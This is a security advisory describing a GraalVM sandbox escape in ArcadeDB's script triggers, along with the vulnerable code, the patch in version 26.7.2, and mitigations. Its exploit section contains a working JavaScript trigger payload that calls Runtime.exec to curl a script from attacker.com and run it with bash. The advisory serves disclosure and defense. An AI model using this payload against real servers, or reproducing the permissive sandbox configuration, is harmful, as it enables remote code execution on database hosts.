GHSA-x9f9-r4m8-9xc2: Remote Code Execution via GraalVM Polyglot Sandbox Bypass in ArcadeDB Trigger Scripts

ArcadeDB implements an extensive trigger subsystem that allows users to execute custom scripting logic (e.g., JavaScript or GraalVM languages) in response to database lifecycle events such as record creation, modification, or deletion. This capabilities framework is managed by the ScriptTriggerExecutor component within the arcadedb-engine module.

To prevent untrusted scripts from compromising the underlying system, database engines rely on polyglot sandboxes to restrict guest language access to the host Java Virtual Machine (JVM). When a database exposes script execution pathways, the boundary between the guest script and host execution environment must be tightly managed. If the sandbox configuration is permissive, the guest environment can escape its boundary and invoke host OS operations.

This vulnerability arises from a permissive package import configuration within the GraalVM scripting engine wrapper in ArcadeDB. It allows administrative-level database users who hold the schema-level privilege UPDATE_SCHEMA to escape the sandbox restriction and execute arbitrary system commands, resulting in full compromise of the hosting environment.

The fundamental flaw resides within the GraalVM context configuration in ScriptTriggerExecutor.java around line 56. The component instantiates a GraalVM Context to compile and execute trigger script strings. However, the context configuration is initialized with highly permissive class loading rules.

Specifically, the allowedPackages configuration includes the java.lang.*, java.util.*, java.time.*, and java.math.* namespaces. GraalVM's interop utilities allow guest languages to look up host Java classes via the helper function Java.type(). By placing java.lang.* in the package allowlist, guest scripts are granted access to core runtime Java classes, including java.lang.Runtime and java.lang.ProcessBuilder.

Furthermore, the configuration relied on the GraalVM sandbox setting allowCreateProcess(false) under the assumption that it would block process creation. However, this parameter only restricts guest-native process management APIs. It does not inspect or block direct host-level reflection calls when the host class lookup is explicitly permitted by package allowlists and the context is configured with standard reflection permissions (HostAccess.ALL). Consequently, the API-level sandbox defense fails, enabling direct access to the JVM's host environment.

The vulnerability sequence proceeds from trigger registration to command execution. The diagram below illustrates how an attacker utilizes the UPDATE_SCHEMA privilege to register a trigger, which subsequently bypasses the GraalVM sandbox during database mutation events:

Before patching, the vulnerability was present in the initialization logic of ScriptTriggerExecutor.java where the GraalVM context builder did not restrict access to host classes:

// VULNERABLE CODE PATH (ScriptTriggerExecutor.java)
Context context = Context.newBuilder("js")
    .allowHostAccess(HostAccess.ALL) // Allows access to all host methods
    .allowHostClassLookup(className -> {
        // Deficient logic permits java.lang.* packages
        return allowedPackages.stream().anyMatch(p -> className.startsWith(p));
    })
    .allowCreateProcess(false) // Only restricts guest process API, not reflection
    .build();

The corresponding authorization check in LocalSchema.java also allowed users with only schema-modification rights to deploy dangerous scripts:

// VULNERABLE PRIVILEGE CHECK (LocalSchema.java)
public void createTrigger(final String className, final String triggerName) {
    // Gated solely behind UPDATE_SCHEMA
    database.getSecurity().checkPermissions(SecurityDatabaseUser.RESOURCE_DATABASE.SCHEMA, SecurityDatabaseUser.AN_UPDATE);
    // Trigger registration logic...
}

In the patched release (version 26.7.2), the developers addressed this vulnerability by removing java.lang.* from the exposed package list, changing HostAccess.ALL to HostAccess.EXPLICIT, and gating trigger registration behind the highly restricted UPDATE_SECURITY permission.

An attacker must possess credentials targeting the ArcadeDB server that are assigned the UPDATE_SCHEMA privilege tier. This level of access is typically granted to database schema designers or application administrators who do not possess full system database administration (superuser) or security administration rights.

First, the attacker establishes a connection to the database's HTTP, SQL, or Cypher query endpoint and defines a javascript-based trigger using the CREATE TRIGGER query syntax. The trigger payload loads the JVM java.lang.Runtime class using GraalVM's Java.type interface:

CREATE TRIGGER malicious_trigger ON <target_class> AFTER INSERT EXECUTE JAVASCRIPT '
    var RuntimeClass = Java.type("java.lang.Runtime");
    var runtimeInstance = RuntimeClass.getRuntime();
    runtimeInstance.exec("curl http://attacker.com/payload.sh -o /tmp/payload.sh");
    runtimeInstance.exec("bash /tmp/payload.sh");
'

Following registration, the attacker initiates the trigger by performing a standard record insertion into the target class. When the operation completes, ScriptTriggerExecutor compiles and runs the javascript payload. Because the package checks pass, the GraalVM context fetches the actual host JVM Runtime object, spawning the shell command on the host OS with the permissions of the ArcadeDB application process.

A successful exploit results in Remote Code Execution (RCE) on the database host. Because database servers frequently run with elevated administrative privileges, an attacker can access sensitive configuration files, modify internal database contents, extract database credentials, or move laterally within the deployment environment.

In addition to the scripting trigger vulnerability, the 26.7.2 release addresses several other vulnerabilities identified during a security audit. These security updates resolve a Server-Side Request Forgery (SSRF) flaw in database imports (SourceDiscovery.java), a failure to enforce authorization checks in backup/export endpoints (BackupDatabaseStatement.java), an HTTP body size validation bypass in chunked transfer decoding causing potential Denial of Service (DoS), and the absence of a brute-force prevention lockout mechanism for user authentication.

The aggregate risk profile of unpatched ArcadeDB servers is elevated due to these overlapping vectors. An attacker with minimal initial database access can utilize this exploit chain to pivot from low-privilege database administrative access to complete control of the host operating system.

To remediate this vulnerability, system administrators must upgrade the arcadedb-engine dependency and database servers to version 26.7.2 or later. The update introduces significant architectural security hardening:

1. Explicit Host Access Mapping: The engine now enforces HostAccess.EXPLICIT, requiring methods to be annotated with @HostAccess.Export before they are accessible to guest environments.

2. Restrictive Package Filtering: The engine explicitly blocks the loading of namespaces related to process execution, class reflection, and arbitrary system calls (removing java.lang.* completely from allowed context structures).

3. Privilege Gating Escalation: The authorization layer for registering triggers has been moved from the UPDATE_SCHEMA privilege to the UPDATE_SECURITY privilege, ensuring only full security administrators can upload script files.

If upgrading immediately is not feasible, administrators should disable script-based trigger capabilities entirely in the server's database configuration files or restrict the UPDATE_SCHEMA permission to only highly trusted administrative accounts.